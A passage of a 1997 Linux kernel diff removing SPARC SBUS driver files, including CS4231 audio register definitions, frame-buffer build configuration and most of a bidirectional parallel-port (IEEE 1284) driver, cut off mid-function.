-#define CS4231_DFR_LINEARBE 0xc0 -#define CS4231_STEREO_ON(val) (val | 0x10) -#define CS4231_MONO_ON(val) (val & ~0x10) - -/* 9 - Interface Config. Register */ -#define CHIP_INACTIVE 0x08 -#define PEN_ENABLE (0x01) -#define PEN_DISABLE (~0x01) -#define CEN_ENABLE (0x02) -#define CEN_DISABLE (~0x02) -#define ACAL_DISABLE (~0x08) -#define ICR_AUTOCAL_INIT 0x01 - -/* 10 - Pin Control Register */ -#define INTR_ON 0x82 -#define INTR_OFF 0x80 -#define PINCR_LINE_MUTE 0x40 -#define PINCR_HDPH_MUTE 0x80 - -/* 11 - Test/Initialization */ -#define DRQ_STAT 0x10 -#define AUTOCAL_IN_PROGRESS 0x20 - -/* 12 - Misc Information */ -#define MISC_IR_MODE2 0x40 - -/* 13 - Loopback Control */ -#define LOOPB_ON 0x01 -#define LOOPB_OFF 0x00 - -/* 14 - Unused (mode 1) */ -/* 15 - Unused (mode 1) */ - -/* 14 - Playback Upper (mode 2) */ -/* 15 - Playback Lower (mode 2) */ - -/* The rest are mode 2 only */ - -/* 16 - Alternate Feature 1 Enable */ -#define OLB_ENABLE 0x80 - -/* 17 - Alternate Feature 2 Enable */ -#define HPF_ON 0x01 -#define XTALE_ON 0x20 - -/* 18 - Left Line Input Gain */ -/* 19 - Right Line Input Gain */ - -/* 20 - Timer High */ -/* 21 - Timer Low */ - -/* 22 - unused */ -/* 23 - unused */ - -/* 24 - Alternate Feature Status */ -#define CS_PU 0x01 /* Underrun */ -#define CS_PO 0x20 /* Overrun */ - -/* 25 - Version */ -#define CS4231A 0x20 -#define CS4231CDE 0x80 - -/* 26 - Mono I/O Control */ -#define CHANGE_MONO_GAIN(val) ((val & ~(0xFF)) | val) -#define MONO_IOCR_MUTE 0x40 - -/* 27 - Unused */ - -/* 28 - Capture Data Format */ -/* see register 8 */ - -/* 29 - Unused */ - -/* 30 - Capture Upper */ -/* 31 - Capture Lower */ - -/* Following are CSR register definitions for the Sparc */ -/* Also list "Solaris" equivs for now, not really useful tho */ -#define CS_INT_PENDING 0x800000 /* APC_IP */ /* Interrupt Pending */ -#define CS_PLAY_INT 0x400000 /* APC_PI */ /* Playback interrupt */ -#define CS_CAPT_INT 0x200000 /* APC_CI */ /* Capture interrupt */ -#define CS_GENL_INT 0x100000 /* APC_EI */ /* General interrupt */ -#define CS_XINT_ENA 0x80000 /* APC_IE */ /* General ext int. enable */ -#define CS_XINT_PLAY 0x40000 /* APC_PIE */ /* Playback ext intr */ -#define CS_XINT_CAPT 0x20000 /* APC_CIE */ /* Capture ext intr */ -#define CS_XINT_GENL 0x10000 /* APC_EIE */ /* Error ext intr */ -#define CS_XINT_EMPT 0x8000 /* APC_PMI */ /* Pipe empty interrupt */ -#define CS_XINT_PEMP 0x4000 /* APC_PM */ /* Play pipe empty */ -#define CS_XINT_PNVA 0x2000 /* APC_PD */ /* Playback NVA dirty */ -#define CS_XINT_PENA 0x1000 /* APC_PMIE */ /* play pipe empty Int enable */ -#define CS_XINT_COVF 0x800 /* APC_CM */ /* Cap data dropped on floor */ -#define CS_XINT_CNVA 0x400 /* APC_CD */ /* Capture NVA dirty */ -#define CS_XINT_CEMP 0x200 /* APC_CMI */ /* Capture pipe empty interrupt */ -#define CS_XINT_CENA 0x100 /* APC_CMIE */ /* Cap. pipe empty int enable */ -#define CS_PPAUSE 0x80 /* APC_PPAUSE */ /* Pause the play DMA */ -#define CS_CPAUSE 0x40 /* APC_CPAUSE */ /* Pause the capture DMA */ -#define CS_CDC_RESET 0x20 /* APC_CODEC_PDN */ /* CODEC RESET */ -#define PDMA_READY 0x08 /* PDMA_GO */ -#define CDMA_READY 0x04 /* CDMA_GO */ -#define CS_CHIP_RESET 0x01 /* APC_RESET */ /* Reset the chip */ - -#define CS_INIT_SETUP (CDMA_READY | PDMA_READY | CS_XINT_ENA | CS_XINT_PLAY | CS_XINT_GENL | CS_INT_PENDING | CS_PLAY_INT | CS_CAPT_INT | CS_GENL_INT) - -#define CS_PLAY_SETUP (CS_GENL_INT | CS_PLAY_INT | CS_XINT_ENA | CS_XINT_PLAY | CS_XINT_EMPT | CS_XINT_GENL | CS_XINT_PENA | PDMA_READY) - -#define CS_CAPT_SETUP (CS_GENL_INT | CS_CAPT_INT | CS_XINT_ENA | CS_XINT_CAPT | CS_XINT_CEMP | CS_XINT_GENL | CDMA_READY) - -#define CS4231_MIN_ATEN (0) -#define CS4231_MAX_ATEN (31) -#define CS4231_MAX_DEV_ATEN (63) - -#define CS4231_MON_MIN_ATEN (0) -#define CS4231_MON_MAX_ATEN (63) - -#define CS4231_DEFAULT_PLAYGAIN (132) -#define CS4231_DEFAULT_RECGAIN (126) - -#define CS4231_MIN_GAIN (0) -#define CS4231_MAX_GAIN (15) - -#define CS4231_PRECISION (8) /* # of bits/sample */ -#define CS4231_CHANNELS (1) /* channels/sample */ - -#define CS4231_RATE (8000) /* default sample rate */ -/* Other rates supported are: - * 9600, 11025, 16000, 18900, 22050, 32000, 37800, 44100, 48000 - */ - -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/Config.in linux/drivers/sbus/char/Config.in --- linux-2.1.29/drivers/sbus/char/Config.in Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/Config.in Wed Dec 31 19:00:00 1969 @@ -1,42 +0,0 @@ -comment 'SBUS Frame Buffer support' -bool 'Sun FB drivers appear in PROCFS' SUN_FBS_IN_PROCFS -bool 'Load All Supported Drivers' CONFIG_SUN_FB_DISPLAY - -if [ "$CONFIG_SUN_FB_DISPLAY" = "n" ]; then - bool 'cgsix support' SUN_FB_CGSIX - bool 'tcx support' SUN_FB_TCX - bool 'cgthree support' SUN_FB_CGTHREE - bool 'cgfourteen support' SUN_FB_CGFOURTEEN - bool 'bwtwo support' SUN_FB_BWTWO - bool 'leo/zx support' SUN_FB_LEO - bool 'weitek P9X00 support' TADPOLE_FB_WEITEK - if [ "$TADPOLE_FB_WEITEK" = "n" ]; then - fbs=$SUN_FB_CGSIX - fbs=$fbs$SUN_FB_TCX - fbs=$fbs$SUN_FB_CGTHREE - fbs=$fbs$SUN_FB_BWTWO - fbs=$fbs$SUN_FB_CGFOURTEEN - fbs=$fbs$SUN_FB_LEO - fbs=$fbs$TADPOLE_FB_WEITEK - if [ "$fbs" = "nnnnnnnn" ]; then - echo "Warning: You have excluded ALL FB Support" - echo "Notice: Enabling Generic AutoResolution" - define_bool SUN_FB_GENERIC y - fi - else - define_bool SUN_FB_GENERIC y - fi -else - define_bool SUN_FB_CGSIX y - define_bool SUN_FB_TCX y - define_bool SUN_FB_CGTHREE y - define_bool SUN_FB_CGFOURTEEN y - define_bool SUN_FB_BWTWO y - define_bool SUN_FB_LEO y - define_bool TADPOLE_FB_WEITEK y -fi - -comment 'Misc Linux/SPARC drivers' -tristate '/dev/openprom device support' CONFIG_SUN_OPENPROMIO -tristate 'Mostek real time clock support' CONFIG_SUN_MOSTEK_RTC -tristate 'Bidirectional parallel port support' CONFIG_SUN_BPP diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/Makefile linux/drivers/sbus/char/Makefile --- linux-2.1.29/drivers/sbus/char/Makefile Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/Makefile Wed Dec 31 19:00:00 1969 @@ -1,77 +0,0 @@ -# -# Makefile for the linux kernel. -# -# Note! Dependencies are done automagically by 'make dep', which also -# removes any old dependencies. DON'T put your own dependencies here -# unless it's something special (ie not a .c file). -# -# Note 2! The CFLAGS definitions are now in the main makefile... - -# Dave Redman Frame Buffer tuning support. -# OK this is kind of ugly but it does allow drivers to be added fairly -# easily. and you can even choose what sort of support you want. -ifdef SUN_FB_CGSIX - FB_OBJS += cgsix.o -endif -ifdef SUN_FB_CGTHREE - FB_OBJS += cgthree.o -endif -ifdef SUN_FB_TCX - FB_OBJS += tcx.o -endif -ifdef SUN_FB_BWTWO - FB_OBJS += bwtwo.o -endif -ifdef SUN_FB_LEO - FB_OBJS += leo.o -endif -ifdef SUN_FB_CGFOURTEEN - FB_OBJS += cgfourteen.o -endif -ifdef TADPOLE_FB_WEITEK - FB_OBJS += weitek.o -endif -#ifdef SUN_FB_FAST_ONE -# FB_OBJS += sun_8bit_fast1.o -#endif -#ifdef SUN_FB_FAST_TWO -# FB_OBJS += sun_8bit_fast2.o -#endif -#ifdef SUN_FB_FAST_MONO -# FB_OBJS += sun_mono_fast1.o -#endif -#ifdef SUN_FB_GENERIC -# FB_OBJS += sun_8bit_generic.o -#endif - -O_TARGET := sunchar.o -O_OBJ := ${FB_OBJS} suncons.o sunfb.o -O_OBJS := ${O_OBJ} sunkbd.o sunkeymap.o sunmouse.o sunserial.o -M_OBJS := - -ifeq ($(CONFIG_SUN_OPENPROMIO),y) -O_OBJS += openprom.o -else - ifeq ($(CONFIG_SUN_OPENPROMIO),m) - M_OBJS += openprom.o - endif -endif - -ifeq ($(CONFIG_SUN_MOSTEK_RTC),y) -O_OBJS += rtc.o -else - ifeq ($(CONFIG_SUN_MOSTEK_RTC),m) - M_OBJS += rtc.o - endif -endif - -ifeq ($(CONFIG_SUN_BPP),y) -O_OBJS += bpp.o -else - ifeq ($(CONFIG_SUN_BPP),m) - M_OBJS += bpp.o - endif -endif - -include $(TOPDIR)/Rules.make - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/bpp.c linux/drivers/sbus/char/bpp.c --- linux-2.1.29/drivers/sbus/char/bpp.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/bpp.c Wed Dec 31 19:00:00 1969 @@ -1,1093 +0,0 @@ -/* - * drivers/sbus/char/bpp.c - * - * Copyright (c) 1995 Picture Elements - * Stephen Williams (steve@icarus.com) - * Gus Baldauf (gbaldauf@ix.netcom.com) - * - * Linux/SPARC port by Peter Zaitcev. - * Integration into SPARC tree by Tom Dyas. - */ - - -# include -# include -# include -# include -# include -# include -# include -# include - -# include - -# if defined(__i386__) -# include -# include -# include -# endif - -# if defined(__sparc__) -# include /* udelay() */ - -# include /* OpenProm Library */ -# include /* struct linux_sbus *SBus_chain */ -# include /* sparc_alloc_io() */ -# endif - -# include - -#define BPP_PROBE_CODE 0x55 -#define BPP_DELAY 100 - -static const unsigned BPP_MAJOR = 32; -static const char* dev_name = "bpp"; - -/* When switching from compatability to a mode where I can read, try - the following mode first. */ - -/* const unsigned char DEFAULT_ECP = 0x10; */ -static const unsigned char DEFAULT_ECP = 0x30; -static const unsigned char DEFAULT_NIBBLE = 0x00; - -/* - * These are 1284 time constraints, in units of jiffies. - */ - -static const unsigned long TIME_PSetup = 1; -static const unsigned long TIME_PResponse = 6; -static const unsigned long TIME_IDLE_LIMIT = 2000; - -/* - * One instance per supported subdevice... - */ -# define BPP_NO 3 - -enum IEEE_Mode { COMPATIBILITY, NIBBLE, ECP, ECP_RLE, EPP }; - -struct inst { - unsigned present : 1; /* True if the hardware exists */ - unsigned enhanced : 1; /* True if the hardware in "enhanced" */ - unsigned opened : 1; /* True if the device is opened already */ - unsigned run_flag : 1; /* True if waiting for a repeate byte */ - - unsigned char direction; /* 0 --> out, 0x20 --> IN */ - unsigned char pp_state; /* State of host controlled pins. */ - enum IEEE_Mode mode; - - unsigned char run_length; - unsigned char repeat_byte; - - /* These members manage timeouts for programmed delays */ - struct wait_queue *wait_queue; - struct timer_list timer_list; -}; - -static struct inst instances[BPP_NO]; - -#if defined(__i386__) - -const unsigned short base_addrs[BPP_NO] = { 0x278, 0x378, 0x3bc }; - -/* - * These are for data access. - * Control lines accesses are hidden in set_bits() and get_bits(). - * The exeption is the probe procedure, which is system-dependent. - */ -#define bpp_outb_p(data, base) outb_p((data), (base)) -#define bpp_inb(base) inb(base) -#define bpp_inb_p(base) inb_p(base) - -/* - * This method takes the pin values mask and sets the hardware pins to - * the requested value: 1 == high voltage, 0 == low voltage. This - * burries the annoying PC bit inversion and preserves the direction - * flag. - */ -static void set_pins(unsigned short pins, unsigned minor) -{ - unsigned char bits = instances[minor].direction; /* == 0x20 */ - - if (! (pins & BPP_PP_nStrobe)) bits |= 1; - if (! (pins & BPP_PP_nAutoFd)) bits |= 2; - if ( pins & BPP_PP_nInit) bits |= 4; - if (! (pins & BPP_PP_nSelectIn)) bits |= 8; - - instances[minor].pp_state = bits; - - outb_p(bits, base_addrs[minor]+2); -} - -static unsigned short get_pins(unsigned minor) -{ - unsigned short bits = 0; - - unsigned value = instances[minor].pp_state; - if (! (value & 0x01)) bits |= BPP_PP_nStrobe; - if (! (value & 0x02)) bits |= BPP_PP_nAutoFd; - if (value & 0x04) bits |= BPP_PP_nInit; - if (! (value & 0x08)) bits |= BPP_PP_nSelectIn; - - value = inb_p(base_addrs[minor]+1); - if (value & 0x08) bits |= BPP_GP_nFault; - if (value & 0x10) bits |= BPP_GP_Select; - if (value & 0x20) bits |= BPP_GP_PError; - if (value & 0x40) bits |= BPP_GP_nAck; - if (! (value & 0x80)) bits |= BPP_GP_Busy; - - return bits; -} - -#endif /* __i386__ */ - -#if defined(__sparc__) - -/* - * Register block - */ -struct bpp_regs { - /* DMA registers */ - __u32 p_csr; /* DMA Control/Status Register */ - __u32 p_addr; /* Address Register */ - __u32 p_bcnt; /* Byte Count Register */ - __u32 p_tst_csr; /* Test Control/Status (DMA2 only) */ - /* Parallel Port registers */ - __u16 p_hcr; /* Hardware Configuration Register */ - __u16 p_ocr; /* Operation Configuration Register */ - __u8 p_dr; /* Parallel Data Register */ - __u8 p_tcr; /* Transfer Control Register */ - __u8 p_or; /* Output Register */ - __u8 p_ir; /* Input Register */ - __u16 p_icr; /* Interrupt Control Register */ -}; - -/* P_CSR. Bits of type RW1 are cleared with writting '1'. */ -#define P_DEV_ID_MASK 0xf0000000 /* R */ -#define P_DEV_ID_ZEBRA 0x40000000 -#define P_DEV_ID_L64854 0xa0000000 /* == NCR 89C100+89C105. Pity. */ -#define P_NA_LOADED 0x08000000 /* R NA wirtten but was not used */ -#define P_A_LOADED 0x04000000 /* R */ -#define P_DMA_ON 0x02000000 /* R DMA is not disabled */ -#define P_EN_NEXT 0x01000000 /* RW */ -#define P_TCI_DIS 0x00800000 /* RW TCI forbidden from interrupts */ -#define P_DIAG 0x00100000 /* RW Disables draining and resetting - of P-FIFO on loading of P_ADDR*/ -#define P_BURST_SIZE 0x000c0000 /* RW SBus burst size */ -#define P_BURST_8 0x00000000 -#define P_BURST_4 0x00040000 -#define P_BURST_1 0x00080000 /* "No burst" write */ -#define P_TC 0x00004000 /* RW1 Term Count, can be cleared when - P_EN_NEXT=1 */ -#define P_EN_CNT 0x00002000 /* RW */ -#define P_EN_DMA 0x00000200 /* RW */ -#define P_WRITE 0x00000100 /* R DMA dir, 1=to ram, 0=to port */ -#define P_RESET 0x00000080 /* RW */ -#define P_SLAVE_ERR 0x00000040 /* RW1 Access size error */ -#define P_INVALIDATE 0x00000020 /* W Drop P-FIFO */ -#define P_INT_EN 0x00000010 /* RW OK to P_INT_PEND||P_ERR_PEND */ -#define P_DRAINING 0x0000000c /* R P-FIFO is draining to memory */ -#define P_ERR_PEND 0x00000002 /* R */ -#define P_INT_PEND 0x00000001 /* R */ - -/* P_HCR. Time is in increments of SBus clock. */ -#define P_HCR_TEST 0x8000 /* Allows buried counters to be read */ -#define P_HCR_DSW 0x7f00 /* Data strobe width (in ticks) */ -#define P_HCR_DDS 0x007f /* Data setup before strobe (in ticks) */ - -/* P_OCR. */ -#define P_OCR_MEM_CLR 0x8000 -#define P_OCR_DATA_SRC 0x4000 /* ) */ -#define P_OCR_DS_DSEL 0x2000 /* ) Bidirectional */ -#define P_OCR_BUSY_DSEL 0x1000 /* ) selects */ -#define P_OCR_ACK_DSEL 0x0800 /* ) */ -#define P_OCR_EN_DIAG 0x0400 -#define P_OCR_BUSY_OP 0x0200 /* Busy operation */ -#define P_OCR_ACK_OP 0x0100 /* Ack operation */ -#define P_OCR_SRST 0x0080 /* Reset state machines. Not selfcleaning. */ -#define P_OCR_IDLE 0x0008 /* PP data transfer state machine is idle */ -#define P_OCR_V_ILCK 0x0002 /* Versatec faded. Zebra only. */ -#define P_OCR_EN_VER 0x0001 /* Enable Versatec (0 - enable). Zebra only. */ - -/* P_TCR */ -#define P_TCR_DIR 0x08 -#define P_TCR_BUSY 0x04 -#define P_TCR_ACK 0x02 -#define P_TCR_DS 0x01 /* Strobe */ - -/* P_OR */ -#define P_OR_V3 0x20 /* ) */ -#define P_OR_V2 0x10 /* ) on Zebra only */ -#define P_OR_V1 0x08 /* ) */ -#define P_OR_INIT 0x04 -#define P_OR_AFXN 0x02 /* Auto Feed */ -#define P_OR_SLCT_IN 0x01 - -/* P_IR */ -#define P_IR_PE 0x04 -#define P_IR_SLCT 0x02 -#define P_IR_ERR 0x01 - -/* P_ICR */ -#define P_DS_IRQ 0x8000 /* RW1 */ -#define P_ACK_IRQ 0x4000 /* RW1 */ -#define P_BUSY_IRQ 0x2000 /* RW1 */ -#define P_PE_IRQ 0x1000 /* RW1 */ -#define P_SLCT_IRQ 0x0800 /* RW1 */ -#define P_ERR_IRQ 0x0400 /* RW1 */ -#define P_DS_IRQ_EN 0x0200 /* RW Always on rising edge */ -#define P_ACK_IRQ_EN 0x0100 /* RW Always on rising edge */ -#define P_BUSY_IRP 0x0080 /* RW 1= rising edge */ -#define P_BUSY_IRQ_EN 0x0040 /* RW */ -#define P_PE_IRP 0x0020 /* RW 1= rising edge */ -#define P_PE_IRQ_EN 0x0010 /* RW */ -#define P_SLCT_IRP 0x0008 /* RW 1= rising edge */ -#define P_SLCT_IRQ_EN 0x0004 /* RW */ -#define P_ERR_IRP 0x0002 /* RW1 1= rising edge */ -#define P_ERR_IRQ_EN 0x0001 /* RW */ - -volatile struct bpp_regs *base_addrs[BPP_NO]; - -static inline void bpp_outb_p(__u8 data, volatile struct bpp_regs *base){ - base->p_dr = data; -} - -#define bpp_inb_p(base) bpp_inb(base) - -static inline __u8 bpp_inb(volatile struct bpp_regs *base){ - return base->p_dr; -} - - -static void set_pins(unsigned short pins, unsigned minor) -{ - volatile struct bpp_regs *base = base_addrs[minor]; - unsigned char bits_tcr = 0, bits_or = 0; - - if (instances[minor].direction & 0x20) bits_tcr |= P_TCR_DIR; - if ( pins & BPP_PP_nStrobe) bits_tcr |= P_TCR_DS; - - if ( pins & BPP_PP_nAutoFd) bits_or |= P_OR_AFXN; - if (! (pins & BPP_PP_nInit)) bits_or |= P_OR_INIT; - if (! (pins & BPP_PP_nSelectIn)) bits_or |= P_OR_SLCT_IN; - - base->p_or = bits_or; - base->p_tcr = bits_tcr; -} - -/* - * i386 people read output pins from a software image. - * We may get them back from hardware. - * Again, inversion of pins must he buried here. - */ -static unsigned short get_pins(unsigned minor) -{ - volatile struct bpp_regs *base = base_addrs[minor]; - unsigned short bits = 0; - unsigned value_tcr = base->p_tcr; - unsigned value_ir = base->p_ir; - unsigned value_or = base->p_or; - - if (value_tcr & P_TCR_DS) bits |= BPP_PP_nStrobe; - if (value_or & P_OR_AFXN) bits |= BPP_PP_nAutoFd; - if (! (value_or & P_OR_INIT)) bits |= BPP_PP_nInit; - if (! (value_or & P_OR_SLCT_IN)) bits |= BPP_PP_nSelectIn; - - if (value_ir & P_IR_ERR) bits |= BPP_GP_nFault; - if (! (value_ir & P_IR_SLCT)) bits |= BPP_GP_Select; - if (! (value_ir & P_IR_PE)) bits |= BPP_GP_PError; - if (! (value_tcr & P_TCR_ACK)) bits |= BPP_GP_nAck; - if (value_tcr & P_TCR_BUSY) bits |= BPP_GP_Busy; - - return bits; -} - -#if 0 -/* P3 */ -static inline void bpp_snap(const char *msg, unsigned minor) -{ - volatile struct bpp_regs *r = base_addrs[minor]; - printk("bpp.%s: c=%02x o=%02x i=%02x\n", msg, r->p_tcr, r->p_or, r->p_ir); -} -#endif - -#endif /* __sparc__ */ - -/* - * This is TRUE if the module_init successfully loaded the module. - */ -#if 0 -static int loaded_flag = 0; -#endif - -static void bpp_wake_up(unsigned long val) -{ wake_up(&instances[val].wait_queue); } - -static void snooze(unsigned long snooze_time, unsigned minor) -{ - instances[minor].timer_list.expires = snooze_time+1; - instances[minor].timer_list.data = minor; - add_timer(&instances[minor].timer_list); - sleep_on (&instances[minor].wait_queue); -} - -static int wait_for(unsigned short set, unsigned short clr, - unsigned long delay, unsigned minor) -{ - unsigned short pins = get_pins(minor); - - unsigned long extime = 0; - - /* - * Try a real fast scan for the first jiffy, in case the device - * responds real good. The first while loop guesses an expire - * time accounting for possible wraparound of jiffies. - */ - while (extime <= jiffies) extime = jiffies + 1; - while ( (jiffies < extime) - && (((pins & set) != set) || ((pins & clr) != 0)) ) { - pins = get_pins(minor); - } - - delay -= 1; - - /* - * If my delay expired or the pins are still not where I want - * them, then resort to using the timer and greatly reduce my - * sample rate. If the peripheral is going to be slow, this will - * give the CPU up to some more worthy process. - */ - while ( delay && (((pins & set) != set) || ((pins & clr) != 0)) ) { - - snooze(1, minor); - pins = get_pins(minor); - delay -= 1; - } - - if (delay == 0) return -1; - else return pins; -} - -/* - * Return ZERO(0) If the negotiation succeeds, an errno otherwise. An - * errno means something broke, and I do not yet know how to fix it. - */ -static int negotiate(unsigned char mode, unsigned minor) -{ - int rc; - unsigned short pins = get_pins(minor); - if (pins & BPP_PP_nSelectIn) return -EIO; - - - /* Event 0: Write the mode to the data lines */ - bpp_outb_p(mode, base_addrs[minor]); - - snooze(TIME_PSetup, minor); - - /* Event 1: Strobe the mode code into the peripheral */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nStrobe|BPP_PP_nInit, minor); - - /* Wait for Event 2: Peripheral responds as a 1284 device. */ - rc = wait_for(BPP_GP_PError|BPP_GP_Select|BPP_GP_nFault, - BPP_GP_nAck, - TIME_PResponse, - minor); - - if (rc == -1) return -ETIMEDOUT; - - /* Event 3: latch extensibility request */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nInit, minor); - - /* ... quick nap while peripheral ponders the byte i'm sending...*/ - snooze(1, minor); - - /* Event 4: restore strobe, to ACK peripheral's response. */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nAutoFd|BPP_PP_nStrobe|BPP_PP_nInit, minor); - - /* Wait for Event 6: Peripheral latches response bits */ - rc = wait_for(BPP_GP_nAck, 0, TIME_PSetup+TIME_PResponse, minor); - if (rc == -1) return -EIO; - - /* A 1284 device cannot refuse nibble mode */ - if (mode == DEFAULT_NIBBLE) return 0; - - if (pins & BPP_GP_Select) return 0; - - return -EPROTONOSUPPORT; -} - -static int terminate(unsigned minor) -{ - int rc; - - /* Event 22: Request termination of 1284 mode */ - set_pins(BPP_PP_nAutoFd|BPP_PP_nStrobe|BPP_PP_nInit, minor); - - /* Wait for Events 23 and 24: ACK termination request. */ - rc = wait_for(BPP_GP_Busy|BPP_GP_nFault, - BPP_GP_nAck, - TIME_PSetup+TIME_PResponse, - minor); - - instances[minor].direction = 0; - instances[minor].mode = COMPATIBILITY; - - if (rc == -1) { - return -EIO; - } - - /* Event 25: Handshake by lowering nAutoFd */ - set_pins(BPP_PP_nStrobe|BPP_PP_nInit, minor); - - /* Event 26: Peripheral wiggles lines... */ - - /* Event 27: Peripheral sets nAck HIGH to ack handshake */ - rc = wait_for(BPP_GP_nAck, 0, TIME_PResponse, minor); - if (rc == -1) { - set_pins(BPP_PP_nAutoFd|BPP_PP_nStrobe|BPP_PP_nInit, minor); - return -EIO; - } - - /* Event 28: Finish phase by raising nAutoFd */ - set_pins(BPP_PP_nAutoFd|BPP_PP_nStrobe|BPP_PP_nInit, minor); - - return 0; -} - - -/* - * Allow only one process to open the device at a time. - */ -static int open(struct inode *inode, struct file *f) -{ - unsigned minor = MINOR(inode->i_rdev); - if (minor >= BPP_NO) return -ENODEV; - if (! instances[minor].present) return -ENODEV; - if (instances[minor].opened) return -EBUSY; - - instances[minor].opened = 1; - - return 0; -} - -/* - * When the process closes the device, this method is called to clean - * up and reset the hardware. Always leave the device in compatibility - * mode as this is a reasonable place to clean up from messes made by - * ioctls, or other mayhem. - */ -static void release(struct inode *inode, struct file *f) -{ - unsigned minor = MINOR(inode->i_rdev); - instances[minor].opened = 0; - - if (instances[minor].mode != COMPATIBILITY) - terminate(minor); -} - -static long read_nibble(unsigned minor, char *c, unsigned long cnt) -{ - unsigned long remaining = cnt; - long rc; - - while (remaining > 0) { - unsigned char byte = 0; - int pins; - - /* Event 7: request nibble */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nStrobe, minor); - - /* Wait for event 9: Peripher strobes first nibble */ - pins = wait_for(0, BPP_GP_nAck, TIME_IDLE_LIMIT, minor); - if (pins == -1) return -ETIMEDOUT; - - /* Event 10: I handshake nibble */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nStrobe|BPP_PP_nAutoFd, minor); - if (pins & BPP_GP_nFault) byte |= 0x01; - if (pins & BPP_GP_Select) byte |= 0x02; - if (pins & BPP_GP_PError) byte |= 0x04; - if (pins & BPP_GP_Busy) byte |= 0x08; - - /* Wait for event 11: Peripheral handshakes nibble */ - rc = wait_for(BPP_GP_nAck, 0, TIME_PResponse, minor); - - /* Event 7: request nibble */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nStrobe, minor); - - /* Wait for event 9: Peripher strobes first nibble */ - pins = wait_for(0, BPP_GP_nAck, TIME_PResponse, minor); - if (rc == -1) return -ETIMEDOUT; - - /* Event 10: I handshake nibble */ - set_pins(BPP_PP_nSelectIn|BPP_PP_nStrobe|BPP_PP_nAutoFd, minor); - if (pins & BPP_GP_nFault) byte |= 0x10; - if (pins & BPP_GP_Select) byte |= 0x20; - if (pins & BPP_GP_PError) byte |= 0x40; - if (pins & BPP_GP_Busy) byte |= 0x80; - - put_user_ret(byte, c, -EFAULT); - c += 1; - remaining -= 1; - - /* Wait for event 11: Peripheral handshakes nibble */ - rc = wait_for(BPP_GP_nAck, 0, TIME_PResponse, minor); - if (rc == -1) return -EIO; - } - - return cnt - remaining; -} - -static long read_ecp(unsigned minor, char *c, unsigned long cnt) -{ - unsigned long remaining; - long rc; - - /* Turn ECP mode from forward to reverse if needed. */ - if (! instances[minor].direction) { - unsigned short pins = get_pins(minor); - - /* Event 38: Turn the bus around */ - instances[minor].direction = 0x20; - pins &= ~BPP_PP_nAutoFd; - set_pins(pins, minor); - - /* Event 39: Set pins for reverse mode. */ - snooze(TIME_PSetup, minor); - set_pins(BPP_PP_nStrobe|BPP_PP_nSelectIn, minor); - - /* Wait for event 40: Peripheral ready to be strobed */ - rc = wait_for(0, BPP_GP_PError, TIME_PResponse, minor); - if (rc == -1) return -ETIMEDOUT; - } - - remaining = cnt; - - while (remaining > 0) { - - /* If there is a run length for a repeated byte, repeat */ - /* that byte a few times. */ - if (instances[minor].run_length && !instances[minor].run_flag) { - - char buffer[128]; - unsigned idx; - unsigned repeat = remaining < instances[minor].run_length - ? remaining - : instances[minor].run_length; - - for (idx = 0 ; idx < repeat ; idx += 1) - buffer[idx] = instances[minor].repeat_byte; - - copy_to_user_ret(c, buffer, repeat, -EFAULT); - remaining -= repeat; - c += repeat; - instances[minor].run_length -= repeat; - } - - if (remaining == 0) break; - - - /* Wait for Event 43: Data active on the bus. */ - rc = wait_for(0, BPP_GP_nAck, TIME_IDLE_LIMIT, minor); - if (rc == -1) break; - - if (rc & BPP_GP_Busy) { - /* OK, this is data. read it in. */ - unsigned char byte = bpp_inb(base_addrs[minor]); - put_user_ret(byte, c, -EFAULT); - c += 1; - remaining -= 1; - - if (instances[minor].run_flag) { - instances[minor].repeat_byte = byte; - instances[minor].run_flag = 0; - } - - } else { - unsigned char byte = bpp_inb(base_addrs[minor]); - if (byte & 0x80) { - printk("bpp%d: " - "Ignoring ECP channel %u from device.\n", - minor, byte & 0x7f); - } else { - instances[minor].run_length = byte; - instances[minor].run_flag = 1; - } - } - - /* Event 44: I got it. */ - set_pins(BPP_PP_nStrobe|BPP_PP_nAutoFd|BPP_PP_nSelectIn, minor); - - /* Wait for event 45: peripheral handshake */ - rc = wait_for(BPP_GP_nAck, 0, TIME_PResponse, minor); - if (rc == -1) return -ETIMEDOUT; - - /* Event 46: Finish handshake */ - set_pins(BPP_PP_nStrobe|BPP_PP_nSelectIn, minor); - - } - - - return cnt - remaining; -} - -static long read(struct inode *inode, struct file *f, - char *c, unsigned long cnt) -{ - long rc; - const unsigned minor = MINOR(inode->i_rdev); - if (minor >= BPP_NO) return -ENODEV; - if (!instances[minor].present) return -ENODEV; - - switch (instances[minor].mode) { - - default: - if (instances[minor].mode != COMPATIBILITY) - terminate(minor); - - if (instances[minor].enhanced) { - /* For now, do all reads with ECP-RLE mode */ - unsigned short pins; - - rc = negotiate(DEFAULT_ECP, minor); - if (rc < 0) break; - - instances[minor].mode = ECP_RLE; - - /* Event 30: set nAutoFd low to setup for ECP mode */ - pins = get_pins(minor); - pins &= ~BPP_PP_nAutoFd; - set_pins(pins, minor); - - /* Wait for Event 31: peripheral ready */ - rc = wait_for(BPP_GP_PError, 0, TIME_PResponse, minor); - if (rc == -1) return -ETIMEDOUT; - - rc = read_ecp(minor, c, cnt); - - } else { - rc = negotiate(DEFAULT_NIBBLE, minor); - if (rc < 0) break; - - instances[minor].mode = NIBBLE; - - rc = read_nibble(minor, c, cnt); - } - break; - - case NIBBLE: - rc = read_nibble(minor, c, cnt); - break; - - case ECP: - case ECP_RLE: - rc = read_ecp(minor, c, cnt); - break; - - } - - - return rc; -} - -/* - * Compatibility mode handshaking is a matter of writing data, - * strobing it, and waiting for the printer to stop being busy. - */ -static long write_compat(unsigned minor, const char *c, unsigned long cnt) -{ - long rc; - unsigned short pins = get_pins(minor); - - unsigned long remaining = cnt; - - while (remaining > 0) { - unsigned char byte; - c += 1; - get_user_ret(byte, c, -EFAULT); - - rc = wait_for(BPP_GP_nAck, 